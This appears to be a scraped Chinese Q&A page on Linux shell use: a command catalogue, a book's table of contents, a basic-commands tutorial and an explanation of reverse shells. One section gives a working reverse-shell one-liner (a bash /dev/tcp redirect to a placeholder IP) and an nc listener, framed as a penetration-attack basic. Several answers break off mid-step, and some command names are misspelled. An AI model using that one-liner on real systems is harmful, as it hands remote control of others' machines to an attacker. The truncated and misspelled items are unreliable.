文件管理命令
cat chattr chgrp chmod chown cksum cmp
diff diffstat file find git gitview indent
cut ln less locate isattr mattrib mc
mdel mdir mktemp more mmove mread mren
mtools mtoolstest mv od paste patch rcp
rm slocate split tee tmpwatch touch umask
which cp in m mshowfat rhmask whereis
目錄磁碟管理命令
cd df dirs edquota eject
mcd mdeltree m mkdir mlabel mmd
mrd mzip pwd quota mount mmount
rmdir rmt stat tree umount ls
quotacheck quotaoff lndir repquota quotaon
文檔編輯命令
col colrm comm csplit ed egrep ex fgrep
fmt fold grep ispell jed joe join look
mtype pico rgrep sed sort spell tr expr
uniq wc
文件傳輸列印命令
lprm lpr lpq lpd bye ftp
uuto uupick uucp uucico tftp ncftp
ftpshut ftpwho ftpcount
磁碟維護命令
badblocks cfdisk dd e2fsck ext2ed
fsck fsck fsconf fdformat hdparm
mformat mkbootdisk mkdosfs mke2fs mkfs.ext2
mkfs.msdos mkinitrd mkisofts mkswap mpartition
swapon symlinks sync mbadblocks mkfs
fsck.ext2 fdisk losetup mkfs sfdisk
swapoff
網路通信命令
apachectl arpwatch dip getty mingetty uux
telnet uulog uustat ppp-off netconfig nc
httpd ifconfig minicom mesg dnsconf wall
netstat ping pppstats samba setserial talk
traceroute tty newaliases uuname netconf write
statserial efax pppsetup tcpmp ytalk cu
smbd testparm smbd smbclient shapecfg
系統管理命令
adser chfn useradd date exit finger
fwhois sleep suspend groupdel groupmod halt
kill last lastb login logname logout
ps nice procinfo top pstree reboot
rlogin rsh sliplogin screen shutdown rwho
sudo gitps swatch tload logrotate kill
uname chsh userconf userdel usermod vlock
who whoami whois newgrp renice su
skill w id free
系統設置命令
reset clear alias dircolors aumix bind
chroot clock crontab declare depmod dmesg
enable eval export pwunconv grpconv rpm
insmod kbdconfig lilo liloconfig lsmod minfo
set modprobe ntsysv moouseconfig passwd pwconv
rdate resize rmmod grpunconv modinfo time
setup sndconfig setenv setconsole timeconfig ulimit
unset chkconfig apmd hwclock mkkickstart fbset
unalias SVGAText Mode
備份壓縮命令
ar bunzip2 bzip2 bzip2recover gunzip unarj
compress cpio mp uuencode gzexe gzip
lha restore tar uudecode unzip zip
zipinfo
設備管理命令
setleds loadkeys rdev mpkeys MAKEDEV
㈡ 怎麼在linux下創建一個可運行腳本
步驟:
1.新建一個.sh文件,touch test.sh
(2)linuxncshell擴展閱讀:
Linux是一套免費使用和自由傳播的類Unix操作系統,是一個基於POSIX和UNIX的多用戶、多任務、支持多線程和多CPU的操作系統。它能運行主要的UNIX工具軟體、應用程序和網路協議。它支持32位和64位硬體。Linux繼承了Unix以網路為核心的設計思想,是一個性能穩定的多用戶網路操作系統。
Linux操作系統誕生於1991 年10 月5 日(這是第一次正式向外公布時間)。Linux存在著許多不同的Linux版本,但它們都使用了Linux內核。Linux可安裝在各種計算機硬體設備中,比如手機、平板電腦、路由器、視頻游戲控制台、台式計算機、大型機和超級計算機。
嚴格來講,Linux這個詞本身只表示Linux內核,但實際上人們已經習慣了用Linux來形容整個基於Linux內核,並且使用GNU工程各種工具和資料庫的操作系統。
腳本(Script)是使用一種特定的描述性語言,依據一定的格式編寫的可執行文件,又稱作宏或批處理文件。
Linux系統的shell作為操作系統的外殼,為用戶提供使用操作系統的介面。它是命令語言、命令解釋程序及程序設計語言的統稱。
shell是用戶和Linux內核之間的介面程序,如果把Linux內核想像成一個球體的中心,shell就是圍繞內核的外層。當從shell或其他程序向Linux傳遞命令時,內核會做出相應的反應。
shell是一個命令語言解釋器,它擁有自己內建的shell命令集,shell也能被系統中其他應用程序所調用。用戶在提示符下輸入的命令都由shell先解釋然後傳給Linux核心。
㈢ Linux系統中如何用shell腳步判斷是否telnet成功。
1、連接上相應的linux主機,進入到等待輸入shell指令的linux命令行狀態下。
㈣ Linux Shell腳本攻略的目錄
第1章 小試牛刀
1.1 簡介
1.2 終端列印
1.2.1 實戰演練
1.2.2 補充內容
1.3 玩轉變數和環境變數
1.3.1 預備知識
1.3.2 實戰演練
1.3.3 補充內容
1.4 通過shell進行數學運算
1.4.1 預備知識
1.4.2 實戰演練
1.5 玩轉文件描述符和重定向
1.5.1 預備知識
1.5.2 實戰演練
1.5.3 補充內容
1.6 數組和關聯數組
1.6.1 預備知識
1.6.2 實戰演練
1.6.3 補充內容
1.7 使用別名
1.7.1 預備知識
1.7.2 實戰演練
1.7.3 補充內容
1.8 獲取終端信息
1.8.1 預備知識
1.8.2 實戰演練
1.9 獲取、設置日期和延時
1.9.1 預備知識
1.9.2 實戰演練
1.9.3 補充內容
1.10 調試腳本
1.10.1 預備知識
1.10.2 實戰演練
1.10.3 補充內容
1.11 函數和參數
1.11.1 實戰演練
1.11.2 補充內容
1.12 讀取命令序列輸出
1.12.1 預備知識
1.12.2 實戰演練
1.12.3 補充內容
1.13 以不按回車鍵的方式讀取字元「n」
1.13.1 預備知識
1.13.2 實戰演練
1.14 欄位分隔符和迭代器
1.14.1 預備知識
1.14.2 實戰演練
1.15 比較與測試
1.15.1 預備知識
1.15.2 實戰演練
第2章 命令之樂
2.1 簡介
2.2 用cat進行拼接
2.2.1 預備知識
2.2.2 實戰演練
2.2.3 工作原理
2.2.4 補充內容
2.3 錄制與回放終端會話
2.3.1 預備知識
2.3.2 實戰演練
2.3.3 工作原理
2.4 文件查找與文件列表
2.4.1 預備知識
2.4.2 實戰演練
2.4.3 補充內容
2.5 玩轉xargs
2.5.1 預備知識
2.5.2 實戰演練
2.5.3 工作原理
2.5.4 補充內容
2.6 用tr進行轉換
2.6.1 預備知識
2.6.2 實戰演練
2.6.3 工作原理
2.6.4 補充內容
2.7 校驗和與核實
2.7.1 預備知識
2.7.2 實戰演練
2.7.3 工作原理
2.7.4 補充內容
2.8 排序、單一與重復
2.8.1 預備知識
2.8.2 實戰演練
2.8.3 工作原理
2.8.4 補充內容
2.9 臨時文件命名與隨機數
2.9.1 實戰演練
2.9.2 工作原理
2.10 分割文件和數據
2.10.1 工作原理
2.10.2 補充內容
2.11 根據擴展名切分文件名
2.11.1 實戰演練
2.11.2 工作原理
2.12 批量重命名和移動
2.12.1 預備知識
2.12.2 實戰演練
2.12.3 工作原理
2.13 拼寫檢查與詞典操作
2.13.1 實戰演練
2.13.2 工作原理
2.14 交互輸入自動化
2.14.1 預備知識
2.14.2 實戰演練
2.14.3 工作原理
2.14.4 補充內容
第3章 以文件之名
3.1 簡介
3.2 生成任意大小的文件
3.3 文本文件的交集與差集
3.3.1 預備知識
3.3.2 實戰演練
3.4 查找並刪除重復文件
3.4.1 預備知識
3.4.2 實戰演練
3.4.3 工作原理
3.4.4 參考
3.5 創建長路徑目錄
3.5.1 預備知識
3.5.2 實戰演練
3.6 文件許可權、所有權和粘滯位
3.6.1 預備知識
3.6.2 實戰演練
3.6.3 補充內容
3.7 創建不可修改文件
3.7.1 預備知識
3.7.2 實戰演練
3.8 批量生成空白文件
3.8.1 預備知識
3.8.2 實戰演練
3.9 查找符號鏈接及其指向目標
3.9.1 預備知識
3.9.2 實戰演練
3.10 列舉文件類型統計信息
3.10.1 預備知識
3.10.2 實戰演練
3.10.3 工作原理
3.11 環迴文件與掛載
3.11.1 預備知識
3.11.2 實戰演練
3.11.3 補充內容
3.12 生成ISO文件及混合ISO
3.12.1 預備知識
3.12.2 實戰演練
3.12.3 補充內容
3.13 查找文件差異並進行修補
3.13.1 實戰演練
3.13.2 補充內容
3.14 head與tail——列印文件的前10行和後10行
3.15 只列出目錄的其他方法
3.15.1 預備知識
3.15.2 實戰演練
3.16 在命令行中用pushd和popd快速定位
3.16.1 預備知識
3.16.2 實戰演練
3.16.3 補充內容
3.17 統計文件的行數、單詞數和字元數
3.17.1 預備知識
3.17.2 實戰演練
3.17.3 補充知識
3.18 列印目錄樹
3.18.1 預備知識
3.18.2 實戰演練
3.18.3 補充內容
第4章 讓文本飛
4.1 簡介
4.2 正則表達式入門
4.2.1 預備知識
4.2.2 實戰演練
4.2.3 工作原理
4.2.4 補充內容
4.3 用grep在文件中搜索文本
4.3.1 預備知識
4.3.2 實戰演練
4.3.3 補充內容
4.4 用cut按列切分文件
4.4.1 預備知識
4.4.2 實戰演練
4.4.3 補充內容
4.5 統計特定文件中的詞頻
4.5.1 預備知識
4.5.2 實戰演練
4.5.3 工作原理
4.5.4 參考
4.6 sed入門
4.6.1 實戰演練
4.6.2 補充內容
4.7 awk入門
4.7.1 實戰演練
4.7.2 工作原理
4.7.3 補充內容
4.8 替換文本或文件中的字元串
4.8.1 預備知識
4.8.2 實戰演練
4.8.3 補充內容
4.8.4 參考
4.9 壓縮或解壓縮JavaScript
4.9.1 預備知識
4.9.2 工作原理
4.9.3 工作原理
4.9.4 參考
4.10 對文件中的行、單詞和字元進行迭代
4.10.1 預備知識
4.10.2 實戰演練
4.10.3 工作原理
4.10.4 參考
4.11 按列合並文件
4.11.1 工作原理
4.11.2 參考
4.12 列印文件或行中的第n個單詞或列
4.12.1 預備知識
4.12.2 實戰演練
4.12.3 參考
4.13 列印不同行或樣式之間的文本
4.13.1 預備知識
4.13.2 實戰演練
4.13.3 參考
4.14 用腳本檢驗迴文字元串
4.14.1 預備知識
4.14.2 工作原理
4.14.3 工作原理
4.14.4 補充內容
4.14.5 參考
4.15 以逆序形式列印行
4.15.1 預備知識
4.15.2 實戰演練
4.15.3 工作原理
4.15.4 參考
4.16 解析文本中的電子郵件地址和URL
4.16.1 預備知識
4.16.2 實戰演練
4.16.3 工作原理
4.16.4 參考
4.17 列印文件中某個樣式之前或之後的n行
4.17.1 預備知識
4.17.2 實戰演練
4.17.3 參考
4.18 在文件中移除包含某個單詞的句子
4.18.1 預備知識
4.18.2 實戰演練
4.18.3 工作原理
4.18.4 參考
4.19 用awk實現head、tail和tac
4.19.1 預備知識
4.19.2 實戰演練
4.19.3 工作原理
4.19.4 參考
4.20 文本切片與參數操作
4.20.1 實戰演練
4.20.2 參考
第5章 一團亂麻?沒這回事
5.1 入門
5.2 網站下載
5.2.1 預備知識
5.2.2 實戰演練
5.2.3 補充內容
5.3 以格式化純文本形式下載網頁
5.4 cURL入門
5.4.1 預備知識
5.4.2 實戰演練
5.4.3 補充內容
5.4.4 參考
5.5 從命令行訪問Gmail
5.5.1 實戰演練
5.5.2 工作原理
5.5.3 參考
5.6 解析網站數據
5.6.1 實戰演練
5.6.2 工作原理
5.6.3 參考
5.7 製作圖片抓取器及下載工具
5.7.1 實戰演練
5.7.2 工作原理
5.7.3 參考
5.8 網頁相冊生成器
5.8.1 預備知識
5.8.2 實戰演練
5.8.3 工作原理
5.8.4 參考
5.9 Twitter命令行客戶端
5.9.1 預備知識
5.9.2 實戰演練
5.9.3 工作原理
5.9.4 參考
5.10 基於Web後端的定義查詢工具
5.10.1 預備知識
5.10.2 實戰演練
5.10.3 工作原理
5.10.4 參考
5.11 查找網站中的無效鏈接
5.11.1 預備知識
5.11.2 實戰演練
5.11.3 工作原理
5.11.4 參考
5.12 跟蹤網站變更
5.12.1 預備知識
5.12.2 實戰演練
5.12.3 工作原理
5.12.4 參考
5.13 以POST方式發送網頁並讀取響應
5.13.1 預備知識
5.13.2 實戰演練
5.13.3 補充內容
5.13.4 參考
第6章 B計劃
6.1 簡介
6.2 用tar歸檔
6.2.1 預備知識
6.2.2 實戰演練
6.2.3 補充知識
6.2.4 參考
6.3 用cpio歸檔
6.4 用gunzip或gzip壓縮
6.4.1 實戰演練
6.4.2 補充內容
6.4.3 參考
6.5 用bunzip或bzip壓縮
6.5.1 實戰演練
6.5.2 補充內容
6.5.3 參考
6.6 用lzma壓縮
6.6.1 實戰演練
6.6.2 補充內容
6.6.3 參考
6.7 用zip歸檔和壓縮
6.8 超高壓縮率的squashfs文件系統
6.8.1 預備知識
6.8.2 實戰演練
6.8.3 補充內容
6.9 加密工具與散列
6.10 用raync備份系統快照
6.10.1 實戰演練
6.10.2 補充內容
6.11 用Git備份版本控制
6.11.1 預備知識
6.11.2 實戰演練
6.12 用dd克隆磁碟
6.12.1 預備知識
6.12.2 實戰演練
6.12.3 補充內容
6.12.4 參考
第7章 無網不利
7.1 簡介
7.2 聯網知識入門
7.2.1 新手上路
7.2.2 實戰演練
7.2.3 補充內容
7.2.4 參考
7.3 使用ping
7.3.1 實戰演練
7.3.2 補充內容
7.4 列出網路上所有的活動主機
7.4.1 新手上路
7.4.2 實戰演練
7.4.3 工作原理
7.4.4 補充內容
7.4.5 參考
7.5 傳輸文件
7.5.1 新手上路
7.5.2 實戰演練
7.5.3 補充內容
7.5.4 參考
7.6 用腳本設置乙太網與無線LAN
7.6.1 新手上路
7.6.2 實戰演練
7.6.3 工作原理
7.6.4 參考
7.7 用SSH實現無密碼自動登錄
7.8 用SSH在遠程主機上運行命令
7.8.1 新手上路
7.8.2 實戰演練
7.8.3 補充內容
7.8.4 參考
7.9 在本地掛載點上掛載遠程驅動器
7.9.1 新手上路
7.9.2 實戰演練
7.9.3 參考
7.10 在網路上發送多播式窗口消息
7.10.1 新手上路
7.10.2 實戰演練
7.10.3 工作原理
7.10.4 參考
7.11 網路流量與埠分析
7.11.1 新手上路
7.11.2 實戰演練
7.11.3 補充內容
第8章 當個好管家
8.1 簡介
8.2 統計磁碟的使用情況
8.2.1 新手上路
8.2.2 實戰演練
8.2.3 補充內容
8.3 計算命令執行時間
8.4 與當前登錄用戶、啟動日誌及啟動故障的相關信息
8.4.1 新手上路
8.4.2 實戰演練
8.5 列印出10條最常使用的命令
8.5.1 新手上路
8.5.2 實戰演練
8.5.3 工作原理
8.6 列出1小時內佔用CPU最多的10個進程
8.6.1 新手上路
8.6.2 實戰演練
8.6.3 工作原理
8.6.4 參考
8.7 用watch監視命令輸出
8.7.1 實戰演練
8.7.2 補充內容
8.8 對文件及目錄訪問進行記錄
8.8.1 新手上路
8.8.2 實戰演練
8.8.3 工作原理
8.9 用logrotate管理日誌文件
8.9.1 新手上路
8.9.2 實戰演練
8.10 用syslog記錄日誌
8.10.1 新手上路
8.10.2 實戰演練
8.10.3 參考
8.11 通過監視用戶登錄找出入侵者
8.11.1 新手上路
8.11.2 實戰演練
8.11.3 工作原理
8.12 監視遠程磁碟的健康情況
8.12.1 新手上路
8.12.2 實戰演練
8.12.3 工作原理
8.12.4 參考
8.13 找出系統中用戶的活動時段
8.13.1 新手上路
8.13.2 實戰演練
8.13.3 工作原理
第9章 管理重任
9.1 簡介
9.2 收集進程信息
9.2.1 新手上路
9.2.2 實戰演練
9.2.3 補充內容
9.2.4 參考
9.3 殺死進程以及發送或響應信號
9.3.1 新手上路
9.3.2 實戰演練
9.3.3 補充內容
9.4 which、whereis、file、whatis與平均負載
9.5 向用戶終端發送消息
9.5.1 新手上路
9.5.2 實戰演練
9.5.3 工作原理
9.6 收集系統信息
9.7 用/proc收集信息
9.8 用cron進行調度
9.8.1 新手上路
9.8.2 實戰演練
9.8.3 補充內容
9.9 從Bash中讀寫MySQL資料庫
9.9.1 新手上路
9.9.2 實戰演練
9.9.3 工作原理
9.10 用戶管理腳本
9.10.1 實戰演練
9.10.2 工作原理
9.11 圖像文件的批量縮放及格式轉換
9.11.1 新手上路
9.11.2 實戰演練
9.11.3 工作原理
9.11.4 參考
㈤ linux反彈shell 什麼意思
簡單來說,Shell就是實現用戶命令的介面,通過這個介面我們就能實現對計算機的控制,比如我們常見的ssh就是執行的Shell命令實現對遠程對伺服器的控制。
那反彈Shell是啥呢?其英文名叫做Reverse
Shell,具體干什麼的呢?就是控制端首先監聽某個TCP/UDP埠,然後被控制端向這個埠發起一個請求,同時將自己命令行的輸入輸出轉移到控制端,從而控制端就可以輸入命令來控制被控端了。
比如說,我們有兩台主機A、B,我們最終想實現在A上控制B。那麼如果用正向Shell,其實就是在A上輸入B的連接地址,比如通過ssh連接到
B,連接成功之後,我們就可以在A上通過命令控制B了。
如果用反向Shell,那就是在A上先開啟一個監聽埠,然後讓B去連接A的這個埠,連接成功之後,A這邊就能通過命令控制B了。
反彈shell有什麼用?
還是原來的例子,我們想用A來控制B,如果想用ssh等命令來控制,那得輸入B的sshd地址或者埠對吧?但是在很多情況下,由於防火牆、安全組、區域網、NAT等原因,我們實際上是無法直接連接到B的,比如:
A雖然有公網IP,但B是一個處於內網的機器,A就沒法直接連到B上。
B上開了防火牆或者安全組限制,sshd的服務埠22被封閉了。
B是一台撥號主機,其IP地址經常變動。
假如B被攻擊了,我們想讓B向A匯報自己的狀況,那自然就需要B主動去連接A。
如果是這些情況,我們就可以用反彈Shell用A來控制B了。
㈥ 基本linux命令
基本linux命令有哪些呢?
1、ls命令
就是 list 的縮寫,通過 ls 命令不僅可以查看 linux 文件夾包含的文件,而且可以查看文件許可權(包括目錄、文件夾、文件許可權)查看目錄信息等等。
常用參數搭配:
ls -a 列出目錄所有文件,包含以.開始的隱藏文件
ls -A 列出除.及..的其它文件
ls -r 反序排列
ls -t 以文件修改時間排序
ls -S 以文件大小排序
ls -h 以易讀大小顯示
ls -l 除了文件名之外,還將文件的許可權、所有者、文件大小等信息詳細列出來
實例:
(1) 按易讀方式按時間反序排序,並顯示文件詳細信息
ls -lhrt
(2) 按大小反序顯示文件詳細信息
ls -lrS
(3)列出當前目錄中所有以"t"開頭的目錄的詳細內容
ls -l t*
(4) 列出文件絕對路徑(不包含隱藏文件)
ls | sed "s:^:`pwd`/:"
(5) 列出文件絕對路徑(包含隱藏文件)
find $pwd -maxdepth 1 | xargs ls -ld
2、cd 命令
cd(changeDirectory) 命令語法:
cd [目錄名]
說明:切換當前目錄至 dirName。
實例:
(1)進入要目錄
cd /
(2)進入 "home" 目錄
cd ~
(3)進入上一次工作路徑
cd -
(4)把上個命令的參數作為cd參數使用。
cd !$
3、pwd 命令
pwd 命令用於查看當前工作目錄路徑。
實例:
(1)查看當前路徑
pwd
(2)查看軟鏈接的實際路徑
pwd -P
4、mkdir 命令
mkdir 命令用於創建文件夾。
可用選項:
-m: 對新建目錄設置存取許可權,也可以用 chmod 命令設置;
-p: 可以是一個路徑名稱。此時若路徑中的某些目錄尚不存在,加上此選項後,系統將自動建立好那些尚不在的目錄,即一次可以建立多個目錄。
實例:
(1)當前工作目錄下創建名為 t的文件夾
mkdir t
(2)在 tmp 目錄下創建路徑為 test/t1/t 的目錄,若不存在,則創建:
mkdir -p /tmp/test/t1/t
5、rm 命令
刪除一個目錄中的一個或多個文件或目錄,如果沒有使用 -r 選項,則 rm 不會刪除目錄。如果使用 rm 來刪除文件,通常仍可以將該文件恢復原狀。
rm [選項] 文件…
實例:
(1)刪除任何 .log 文件,刪除前逐一詢問確認:
rm -i *.log
(2)刪除 test 子目錄及子目錄中所有檔案刪除,並且不用一一確認:
rm -rf test
(3)刪除以 -f 開頭的文件
rm -- -f*
6、rmdir 命令
從一個目錄中刪除一個或多個子目錄項,刪除某目錄時也必須具有對其父目錄的寫許可權。
注意:不能刪除非空目錄
實例:
(1)當 parent 子目錄被刪除後使它也成為空目錄的話,則順便一並刪除:
rmdir -p parent/child/child11
7、mv 命令
移動文件或修改文件名,根據第二參數類型(如目錄,則移動文件;如為文件則重命令該文件)。
當第二個參數為目錄時,第一個參數可以是多個以空格分隔的文件或目錄,然後移動第一個參數指定的多個文件到第二個參數指定的目錄中。
實例:
(1)將文件 test.log 重命名為 test1.txt
mv test.log test1.txt
(2)將文件 log1.txt,log2.txt,log3.txt 移動到根的 test3 目錄中
mv llog1.txt log2.txt log3.txt /test3
(3)將文件 file1 改名為 file2,如果 file2 已經存在,則詢問是否覆蓋
mv -i log1.txt log2.txt
(4)移動當前文件夾下的所有文件到上一級目錄
mv * ../
8、cp 命令
將源文件復制至目標文件,或將多個源文件復制至目標目錄。
注意:命令行復制,如果目標文件已經存在會提示是否覆蓋,而在 shell 腳本中,如果不加 -i 參數,則不會提示,而是直接覆蓋!
-i 提示
-r 復制目錄及目錄內所有項目
-a 復制的文件與原文件時間一樣
實例:
(1)復制 a.txt 到 test 目錄下,保持原文件時間,如果原文件存在提示是否覆蓋。
cp -ai a.txt test
(2)為 a.txt 建議一個鏈接(快捷方式)
cp -s a.txt link_a.txt
9、cat 命令
cat 主要有三大功能:
1.一次顯示整個文件:
cat filename
2.從鍵盤創建一個文件:
cat > filename
只能創建新文件,不能編輯已有文件。
3.將幾個文件合並為一個文件:
cat file1 file2 > file
-b 對非空輸出行號
-n 輸出所有行號
實例:
(1)把 log2012.log 的文件內容加上行號後輸入 log2013.log 這個文件里
cat -n log2012.log log2013.log
(2)把 log2012.log 和 log2013.log 的文件內容加上行號(空白行不加)之後將內容附加到 log.log 里
cat -b log2012.log log2013.log log.log
(3)使用 here doc 生成新文件
cat >log.txt <<EOF
>Hello
>World
>PWD=$(pwd)
>EOF
ls -l log.txt
cat log.txt
Hello
World
PWD=/opt/soft/test
(4)反向列示
tac log.txt
PWD=/opt/soft/test
World
Hello
10、more 命令
功能類似於 cat, more 會以一頁一頁的顯示方便使用者逐頁閱讀,而最基本的指令就是按空白鍵(space)就往下一頁顯示,按 b 鍵就會往回(back)一頁顯示。
命令參數:
+n 從笫 n 行開始顯示
-n 定義屏幕大小為n行
+/pattern 在每個檔案顯示前搜尋該字串(pattern),然後從該字串前兩行之後開始顯示
-c 從頂部清屏,然後顯示
-d 提示「Press space to continue,』q』 to quit(按空格鍵繼續,按q鍵退出)」,禁用響鈴功能
-l 忽略Ctrl+l(換頁)字元
-p 通過清除窗口而不是滾屏來對文件進行換頁,與-c選項相似
-s 把連續的多個空行顯示為一行
-u 把文件內容中的下畫線去掉
常用操作命令:
Enter 向下 n 行,需要定義。默認為 1 行
Ctrl+F 向下滾動一屏
空格鍵 向下滾動一屏
Ctrl+B 返回上一屏
= 輸出當前行的行號
:f 輸出文件名和當前行的行號
V 調用vi編輯器
!命令 調用Shell,並執行命令
q 退出more
實例:
(1)顯示文件中從第3行起的內容
more +3 text.txt
(2)在所列出文件目錄詳細信息,藉助管道使每次顯示 5 行
ls -l | more -5
按空格顯示下 5 行。
11、less 命令
less 與 more 類似,但使用 less 可以隨意瀏覽文件,而 more 僅能向前移動,卻不能向後移動,而且 less 在查看之前不會載入整個文件。
常用命令參數:
-i 忽略搜索時的大小寫
-N 顯示每行的行號
-o <文件名> 將less 輸出的內容在指定文件中保存起來
-s 顯示連續空行為一行
/字元串:向下搜索「字元串」的功能
?字元串:向上搜索「字元串」的功能
n:重復前一個搜索(與 / 或 ? 有關)
N:反向重復前一個搜索(與 / 或 ? 有關)
-x <數字> 將「tab」鍵顯示為規定的數字空格
b 向後翻一頁
d 向後翻半頁
h 顯示幫助界面
Q 退出less 命令
u 向前滾動半頁
y 向前滾動一行
空格鍵 滾動一行
回車鍵 滾動一頁
[pagedown]: 向下翻動一頁
[pageup]: 向上翻動一頁
實例:
(1)ps 查看進程信息並通過 less 分頁顯示
ps -aux | less -N
(2)查看多個文件
less 1.log 2.log
可以使用 n 查看下一個,使用 p 查看前一個。
12、head 命令
head 用來顯示檔案的開頭至標准輸出中,默認 head 命令列印其相應文件的開頭 10 行。
常用參數:
-n<行數> 顯示的行數(行數為復數表示從最後向前數)
實例:
(1)顯示 1.log 文件中前 20 行
head 1.log -n 20
(2)顯示 1.log 文件前 20 位元組
head -c 20 log2014.log
(3)顯示 t.log最後 10 行
head -n -10 t.log
13、tail 命令
用於顯示指定文件末尾內容,不指定文件時,作為輸入信息進行處理。常用查看日誌文件。
常用參數:
-f 循環讀取(常用於查看遞增的日誌文件)
-n<行數> 顯示行數(從後向前)
(1)循環讀取逐漸增加的文件內容
ping 127.0.0.1 > ping.log &
後台運行:可使用 jobs -l 查看,也可使用 fg 將其移到前台運行。
tail -f ping.log
(查看日誌)
14、which 命令
在 linux 要查找某個文件,但不知道放在哪裡了,可以使用下面的一些命令來搜索:
which 查看可執行文件的位置。
whereis 查看文件的位置。
locate 配合資料庫查看文件位置。
find 實際搜尋硬碟查詢文件名稱。
which 是在 PATH 就是指定的路徑中,搜索某個系統命令的位置,並返回第一個搜索結果。使用 which 命令,就可以看到某個系統命令是否存在,以及執行的到底是哪一個位置的命令。
常用參數:
-n 指定文件名長度,指定的長度必須大於或等於所有文件中最長的文件名。
實例:
(1)查看 ls 命令是否存在,執行哪個
which ls
(2)查看 which
which which
(3)查看 cd
which cd(顯示不存在,因為 cd 是內建命令,而 which 查找顯示是 PATH 中的命令)
查看當前 PATH 配置:
echo $PATH
或使用 env 查看所有環境變數及對應值
15、whereis 命令
whereis 命令只能用於程序名的搜索,而且只搜索二進制文件(參數-b)、man說明文件(參數-m)和源代碼文件(參數-s)。如果省略參數,則返回所有信息。whereis 及 locate 都是基於系統內建的資料庫進行搜索,因此效率很高,而find則是遍歷硬碟查找文件。
常用參數:
-b 定位可執行文件。
-m 定位幫助文件。
-s 定位源代碼文件。
-u 搜索默認路徑下除可執行文件、源代碼文件、幫助文件以外的其它文件。
實例:
(1)查找 locate 程序相關文件
whereis locate
(2)查找 locate 的源碼文件
whereis -s locate
(3)查找 lcoate 的幫助文件
whereis -m locate
㈦ Linux如何使用命令生成反彈SHELL
【Reverse shell】也叫反彈shell,是滲透攻擊的基本功,如果你找到機會讓遠端的機器執行你注入的代碼,你的代碼怎樣才能為你生成一個可以交互操作的shell呢?
你可以在本地先用nc啟動一個監聽進程【nc -l 埠號】
然後在遠端執行【bash -i >& /dev/tcp/你本地的IP/埠號 0>&1】即可。
㈧ 如何在Linux終端里用Shell和C輸出帶顏色的文字
shell腳本中echo顯示內容帶顏色顯示,echo顯示帶顏色,需要使用參數-e
格式如下:
echo-e"